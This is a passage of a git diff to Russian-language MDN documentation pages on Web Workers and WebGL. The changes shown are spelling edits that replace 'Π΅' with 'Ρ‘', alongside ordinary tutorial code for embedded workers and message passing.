Π•Π³ΠΎ содСрТаниС (Π² Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎΠΌ смыслС) пСрСносится Π² Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ контСкст.</p>
<pre class="brush: js notranslate">// Create a 32MB "file" and fill it.
var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
@@ -533,7 +533,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
<h2 id="ВстроСнныС_worker-Ρ‹">ВстроСнныС worker-Ρ‹</h2>
-<p>НС сущСствуСт ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½Π½ΠΎΠ³ΠΎ способа Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ worker-Π° Π² Ρ€Π°ΠΌΠΊΠ°Ρ… Π²Π΅Π±-страницы, ΠΊΠ°ΠΊ элСмСнт {{HTMLElement("script")}} Π΄Π΅Π»Π°Π΅Ρ‚ для ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… скриптов. Но элСмСнт {{HTMLElement("script")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>src</code>Β ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β Β <code>type</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒΒ Π½Π΅ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ выполняСмый MIME type, ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π±Π»ΠΎΠΊΠΎΠΌ данных для использования JavaScript. Π‘Π»ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ…Β "Data blocks" β€” это Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰Π΅Π΅ свойство HTML5, ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅. Π’Π°ΠΊ,Β worker ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ встроСн ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΒ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>НС сущСствуСт ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Ρ‘Π½Π½ΠΎΠ³ΠΎ способа Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ worker-Π° Π² Ρ€Π°ΠΌΠΊΠ°Ρ… Π²Π΅Π±-страницы, ΠΊΠ°ΠΊ элСмСнт {{HTMLElement("script")}} Π΄Π΅Π»Π°Π΅Ρ‚ для ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… скриптов. Но элСмСнт {{HTMLElement("script")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>src</code>Β ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β Β <code>type</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒΒ Π½Π΅ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ выполняСмый MIME type, ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π±Π»ΠΎΠΊΠΎΠΌ данных для использования JavaScript. Π‘Π»ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ…Β "Data blocks" β€” это Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰Π΅Π΅ свойство HTML5, ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅. Π’Π°ΠΊ,Β worker ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ встроСн ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΒ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
@@ -543,7 +543,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/js-worker<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="script token"><span class="language-javascript token">
<span class="comment token">// Π­Ρ‚ΠΎΡ‚ script НЕ Π‘Π£Π”Π•Π’ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ JS Π΄Π²ΠΈΠΆΠΊΠ°ΠΌΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ MIME-Ρ‚ΠΈΠΏ text/js-worker.</span>
<span class="keyword token">var</span> myVar <span class="operator token">=</span> <span class="string token">'Hello World!'</span><span class="punctuation token">;</span>
- <span class="comment token">// </span></span></span></code>ΠžΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° вашСго Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° ΠΈΠ΄Π΅Ρ‚ сюда.<code class="language-html"><span class="script token"><span class="language-javascript token">
+ <span class="comment token">// </span></span></span></code>ΠžΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° вашСго Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° ΠΈΠ΄Ρ‘Ρ‚ сюда.<code class="language-html"><span class="script token"><span class="language-javascript token">
</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="script token"><span class="language-javascript token">
<span class="comment token">// Π­Ρ‚ΠΎΡ‚ script Π‘Π£Π”Π•Π’ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ JS Π΄Π²ΠΈΠΆΠΊΠ°ΠΌ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ MIME-Ρ‚ΠΈΠΏ text/javascript.</span>
@@ -560,7 +560,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
<span class="function function-variable token">onmessage</span> <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">oEvent</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
<span class="function token">postMessage</span><span class="punctuation token">(</span>myVar<span class="punctuation token">)</span><span class="punctuation token">;</span>
<span class="punctuation token">}</span><span class="punctuation token">;</span>
- <span class="comment token">// </span></span></span></code>ΠžΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° вашСго Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° ΠΈΠ΄Π΅Ρ‚ сюда.<code class="language-html"><span class="script token"><span class="language-javascript token">
+ <span class="comment token">// </span></span></span></code>ΠžΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° вашСго Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° ΠΈΠ΄Ρ‘Ρ‚ сюда.<code class="language-html"><span class="script token"><span class="language-javascript token">
</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="script token"><span class="language-javascript token">
<span class="comment token">// Π­Ρ‚ΠΎΡ‚ script Π‘Π£Π”Π•Π’ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ JS Π΄Π²ΠΈΠΆΠΊΠ°ΠΌ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ MIME-Ρ‚ΠΈΠΏ text/javascript.</span>
@@ -585,7 +585,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code>
</pre>
-<div id="logDisplay">ВстраиваСмый worker Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ внСсСн Π² Π½ΠΎΠ²ΠΎΠ΅Β custom свойство <code>document.worker</code></div>
+<div id="logDisplay">ВстраиваСмый worker Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ внСсён Π² Π½ΠΎΠ²ΠΎΠ΅Β custom свойство <code>document.worker</code></div>
<div></div>
@@ -599,11 +599,11 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
<h2 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Π’ этой сСкции прСдставлСно Π΅Ρ‰Π΅ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ worker-Ρ‹.</p>
+<p>Π’ этой сСкции прСдставлСно Π΅Ρ‰Ρ‘ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ worker-Ρ‹.</p>
<h3 id="Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅_вычислСний_Π²_Ρ„ΠΎΠ½Π΅">Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ вычислСний Π² Ρ„ΠΎΠ½Π΅</h3>
-<p>Worker-Ρ‹ Π² основном ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ рСсурсоСмкиС вычислСния, Π½Π΅ блокируя ΠΏΠΎΡ‚ΠΎΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, worker ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для вычислСния числа Π€ΠΈΠ±ΠΎΠ½Π°Ρ‡Ρ‡ΠΈ.</p>
+<p>Worker-Ρ‹ Π² основном ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ рСсурсоёмкиС вычислСния, Π½Π΅ блокируя ΠΏΠΎΡ‚ΠΎΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, worker ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для вычислСния числа Π€ΠΈΠ±ΠΎΠ½Π°Ρ‡Ρ‡ΠΈ.</p>
<h4 id="Код_JavaScript">Код JavaScript</h4>
@@ -672,7 +672,7 @@ onmessage = function(event) {
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
-<p>Π’Π΅Π±-страница создаСт элСмСнт <code>div</code> с ID <code>result</code> , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отобраТСния Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ worker. ПослС пороТдСния worker-Π°, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onmessage</code> настроСн для отобраТСния Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΏΡƒΡ‚Π΅ΠΌ установки содСрТимого элСмСнта <code>div</code>, ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onerror</code> настроСн Π½Π° <a href="/en-US/docs/Debugging_JavaScript#dump.28.29">выброс</a> сообщСния ΠΎΠ± ошибкС.</p>
+<p>Π’Π΅Π±-страница создаёт элСмСнт <code>div</code> с ID <code>result</code> , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отобраТСния Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ worker. ПослС пороТдСния worker-Π°, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onmessage</code> настроСн для отобраТСния Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΏΡƒΡ‚Ρ‘ΠΌ установки содСрТимого элСмСнта <code>div</code>, ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onerror</code> настроСн Π½Π° <a href="/en-US/docs/Debugging_JavaScript#dump.28.29">выброс</a> сообщСния ΠΎΠ± ошибкС.</p>
<p>НаконСц, сообщСниС отправляСтся worker-Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ.</p>
@@ -684,7 +684,7 @@ onmessage = function(event) {
<h3 id="Π Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅_Π·Π°Π΄Π°Ρ‡_ΠΌΠ΅ΠΆΠ΄Ρƒ_мноТСствСнными_worker-Π°ΠΌΠΈ">Π Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ ΠΌΠ΅ΠΆΠ΄Ρƒ мноТСствСнными worker-Π°ΠΌΠΈ</h3>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ многоядСрныС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ становятся всС Π±ΠΎΠ»Π΅Π΅ распространСнными, часто Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ слоТныС Π·Π°Π΄Π°Ρ‡ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ нСсколькими worker-Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ эти Π·Π°Π΄Π°Ρ‡ΠΈ Π½Π° многопроцСссорных ядрах.</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ многоядСрныС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ становятся всС Π±ΠΎΠ»Π΅Π΅ распространёнными, часто Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ слоТныС Π·Π°Π΄Π°Ρ‡ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ нСсколькими worker-Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ эти Π·Π°Π΄Π°Ρ‡ΠΈ Π½Π° многопроцСссорных ядрах.</p>
<h2 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_Ρ‚ΠΈΠΏΡ‹_worker-ΠΎΠ²">Π”Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹Β worker-ΠΎΠ²</h2>
diff --git a/files/ru/web/api/webgl_api/index.html b/files/ru/web/api/webgl_api/index.html
index 6a35a2dda3..dc83c9b165 100644
--- a/files/ru/web/api/webgl_api/index.html
+++ b/files/ru/web/api/webgl_api/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/WebGL_API
---
<div>{{WebGLSidebar}}</div>
-<p class="summary">WebGL (Web Graphics Library) - программная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° для языка JavaScript прСдназначСнная для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ ΠΈ Π΄Π²ΡƒΡ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… совмСстимости Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π±Π΅Π· использования ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ². WebGL приносит Π² Π²Π΅Π± Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ, вводя API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ построСн Π½Π° основС OpenGL ES 2.0, Ρ‡Ρ‚ΠΎ позволяСт Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² элСмСнтах <a href="/en-US/docs/HTML/Canvas" title="en-US/docs/html/canvas"><code> canvas</code></a> HTML5Β .</p>
+<p class="summary">WebGL (Web Graphics Library) - программная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° для языка JavaScript прСдназначСнная для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ ΠΈ Π΄Π²ΡƒΡ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… совмСстимости Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π±Π΅Π· использования ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ². WebGL приносит Π² Π²Π΅Π± Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΡƒΡŽ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ, вводя API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ построСн Π½Π° основС OpenGL ES 2.0, Ρ‡Ρ‚ΠΎ позволяСт Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² элСмСнтах <a href="/en-US/docs/HTML/Canvas" title="en-US/docs/html/canvas"><code> canvas</code></a> HTML5Β .</p>
<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° WebGL присутствуСт Π² <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ ΠΈ <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+. Однако ΠΏΠΎΠΌΠΈΠΌΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ WebGL Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° Ρ‚Π°ΠΊΠΆΠ΅ Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° графичСским процСссором ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°.</p>
@@ -51,11 +51,11 @@ translation_of: Web/API/WebGL_API
<dt><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ сайт WebGL</a></dt>
<dd>Π’Π΅Π±-сайт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² WebGL - Khronos Group.</dd>
<dt><a class="external" href="http://learningwebgl.com/blog/" title="http://learningwebgl.com/blog/">Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ WebGL</a></dt>
- <dd>Π’Π΅Π±-сайт с ΡƒΡ€ΠΎΠΊΠ°ΠΌΠΈ, посвящСнными использованию WebGL.</dd>
+ <dd>Π’Π΅Π±-сайт с ΡƒΡ€ΠΎΠΊΠ°ΠΌΠΈ, посвящёнными использованию WebGL.</dd>
<dt><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">ΠžΡΠ½ΠΎΠ²Ρ‹ WebGL</a></dt>
<dd>Π£Ρ‡Π΅Π±Π½Ρ‹Π΅ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ ΠΏΠΎ основным возмоТностям WebGL.</dd>
<dt><a href="http://games.greggman.com/game/webgl-2d-matrices/">ΠœΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ Π² WebGL</a></dt>
- <dd>Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² использованиС ΠΌΠ°Ρ‚Ρ€ΠΈΡ† Π² Π΄Π²ΡƒΡ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅ Π½Π° WebGL. На этом рСсурсС ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ матСматичСская основа пСрспСктивы Π² Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅.</dd>
+ <dd>Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² использованиС ΠΌΠ°Ρ‚Ρ€ΠΈΡ† Π² Π΄Π²ΡƒΡ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅ Π½Π° WebGL. На этом рСсурсС ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ матСматичСская основа пСрспСктивы Π² Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠ΅.</dd>
<dt><a class="external" href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/">Π‘ΠΎΠ²Π΅Ρ‚Ρ‹ ΠΏΠΎ использованию WebGL</a></dt>
<dd>Π’Π΅Π±-сайт с совСтами ΠΏΠΎ написанию ΠΊΠΎΠ΄Π° Π½Π° WebGL.</dd>
<dt><a class="external" href="http://code.google.com/p/ewgl-matrices/" title="http://code.google.com/p/ewgl-matrices/">ewgl-matrices</a></dt>
diff --git a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
index 55ea7cad8c..4bafecab6d 100644
--- a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
<h2 id="ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ°_сцСны">ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° сцСны</h2>
-<p>На Π΄Π°Π½Π½ΠΎΠΌ этапС ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ Π²Π΅Ρ‰ΡŒ: Π½Π΅ смотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ отрисовываСм Π΄Π²ΡƒΡ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΌΡ‹ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ отрисовываСм Π΅Π³ΠΎ Π² Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС. По сущСству, Π½Π°ΠΌ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΠ²Π΅Ρ‰Π°Ρ‚ΡŒ Π½Π°ΡˆΡƒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ сцСну,Β  ΠΈ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ наш ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. На Π΄Π°Π½Π½ΠΎΠΌ шагС ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΊΠ°ΠΊ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΠ²Π΅Ρ‰Π°Ρ‚ΡŒΡΡ.</p>
